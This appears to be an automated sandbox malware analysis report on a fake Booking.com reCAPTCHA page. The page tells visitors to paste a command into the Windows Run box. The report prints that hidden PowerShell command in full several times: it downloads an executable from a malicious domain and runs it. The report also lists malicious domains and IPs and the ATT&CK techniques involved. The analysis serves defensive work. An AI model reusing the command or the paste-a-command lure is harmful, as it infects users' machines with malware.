Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination"

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 3.5

OCR Text: Booking.com I'm not a robot reCAPTCHA Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\downloaded.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8580
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1284

Source: C:\Windows\System32\svchost.exe TID: 7148	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3812	Thread sleep count: 8580 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3812	Thread sleep count: 1284 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1996	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\taskkill.exe

Process token adjusted: Debug

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded.exe "C:\Users\user\AppData\Local\Temp\downloaded.exe"
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -command "$url='https://account.order921739128391.one/downloadexe'; $temppath=[io.path]::gettemppath(); $filename='downloaded.exe'; $destination=join-path $temppath $filename; invoke-webrequest -uri $url -outfile $destination; start-process $destination"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -command "$url='https://account.order921739128391.one/downloadexe'; $temppath=[io.path]::gettemppath(); $filename='downloaded.exe'; $destination=join-path $temppath $filename; invoke-webrequest -uri $url -outfile $destination; start-process $destination"

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	2 Browser Extensions	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label	Link
https://account.order129837129821.one	0%	Avira URL Cloud	safe
https://account.order129837129821.one	0%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
d2i5gg36g14bzn.cloudfront.net	0%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
d2i5gg36g14bzn.cloudfront.net	18.165.220.54	true	false	0%, Virustotal, Browse	unknown
a.nel.cloudflare.com	35.190.80.1	true	false		high
account.order921739128391.one	104.21.46.36	true	true		unknown
challenges.cloudflare.com	104.18.95.41	true	false		high
www.google.com	142.250.181.68	true	false		high
account.order129837129821.one	172.67.139.99	true	true		unknown
q-xx.bstatic.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
https://account.order129837129821.one/	true	unknown
https://account.order129837129821.one/?__cf_chl_rt_tk=KDWa0..Fbck9hKg3sDTsmfFTAkMIOcfZRuzpR0xglnE-1733126008-1.0.1.1-uaZeYgkOrt8TwpiIVQbEaYAygZ1M.Dmza1AFtuMwn1I	false	unknown
https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNRAERWEuvDBuUuCdXLZIVifZBtUFjPRkdIxBgJFWUMFhYyntGyaywfbXFlbuAVncbySWVguhfvhXMp	true	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
104.21.46.36	account.order921739128391.one	United States	13335	CLOUDFLARENETUS	true
172.217.17.46	unknown	United States	15169	GOOGLEUS	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.208.227	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.19.202	unknown	United States	15169	GOOGLEUS	false
18.165.220.54	d2i5gg36g14bzn.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
23.218.208.109	unknown	United States	6453	AS6453US	false
172.67.139.99	account.order129837129821.one	United States	13335	CLOUDFLARENETUS	true
64.233.165.84	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
172.217.21.35	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.181.99	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566461
Start date and time:	2024-12-02 08:52:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://account.order129837129821.one
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
